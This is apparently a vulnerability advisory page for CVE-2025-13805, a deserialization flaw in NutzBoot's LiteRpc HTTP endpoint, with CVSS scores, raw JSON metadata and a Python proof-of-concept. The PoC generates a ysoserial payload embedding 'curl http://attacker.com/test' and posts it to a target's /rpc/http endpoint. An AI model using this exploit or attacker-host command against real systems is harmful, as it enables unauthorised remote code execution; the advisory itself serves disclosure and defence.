Security Vulnerability Report
中文
CVE-2025-13805 CVSS 3.7 LOW

CVE-2025-13805

Published: 2025-12-01 04:16:06
Last Modified: 2026-04-29 01:00:02

Description

A weakness has been identified in nutzam NutzBoot up to 2.6.0-SNAPSHOT. This affects the function getInputStream of the file nutzcloud/nutzcloud-literpc/src/main/java/org/nutz/boot/starter/literpc/impl/endpoint/http/HttpServletRpcEndpoint.java of the component LiteRpc-Serializer. Executing a manipulation can lead to deserialization. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is reported as difficult. The exploit has been made available to the public and could be used for attacks.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

NutzBoot < 2.6.0-SNAPSHOT
nutzboot-literpc <= 2.6.0-SNAPSHOT

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import subprocess import sys # Generate ysoserial payload for CVE-2025-13805 # This PoC demonstrates the deserialization vulnerability in NutzBoot LiteRpc def generate_payload(gadget_type='URLDNS'): """ Generate serialized payload using ysoserial gadget_type: URLDNS, CommonsCollections, ROME, etc. """ try: cmd = f'java -jar ysoserial.jar {gadget_type} "curl http://attacker.com/test"' result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT) return result except Exception as e: print(f"Error generating payload: {e}") return None def exploit(target_url, gadget_type='URLDNS'): """ Send malicious serialized payload to vulnerable endpoint """ payload = generate_payload(gadget_type) if not payload: print("Failed to generate payload") return False # Target endpoint for LiteRpc HttpServletRpcEndpoint endpoint = f"{target_url}/rpc/http" headers = { 'Content-Type': 'application/x-java-serialized-object', 'User-Agent': 'NutzBoot LiteRpc Client' } try: print(f"[*] Sending payload to {endpoint}") response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[*] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Exploiting CVE-2025-13805 on {target}") exploit(target, 'URLDNS')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13805", "sourceIdentifier": "[email protected]", "published": "2025-12-01T04:16:05.643", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in nutzam NutzBoot up to 2.6.0-SNAPSHOT. This affects the function getInputStream of the file nutzcloud/nutzcloud-literpc/src/main/java/org/nutz/boot/starter/literpc/impl/endpoint/http/HttpServletRpcEndpoint.java of the component LiteRpc-Serializer. Executing a manipulation can lead to deserialization. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is reported as difficult. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en nutzam NutzBoot hasta la versión 2.6.0-SNAPSHOT. Esto afecta a la función getInputStream del archivo nutzcloud/nutzcloud-literpc/src/main/java/org/nutz/boot/starter/literpc/impl/endpoint/http/HttpServletRpcEndpoint.java del componente LiteRpc-Serializer. La ejecución de manipulación puede conducir a deserialización. El ataque puede lanzarse de forma remota. Este ataque se caracteriza por una alta complejidad. La explotabilidad se reporta como difícil. El exploit se ha puesto a disposición del público y podría ser explotado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Xzzz111/exps/blob/main/archives/nutzboot-RCE-1/report.md", "source": "[email protected]"}, {"url": "https://github.com/Xzzz111/exps/blob/main/archives/nutzboot-RCE-1/report.md#vulnerability-details-and-poc", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.333815", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.333815", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.692053", "source": "[email protected]"}]}}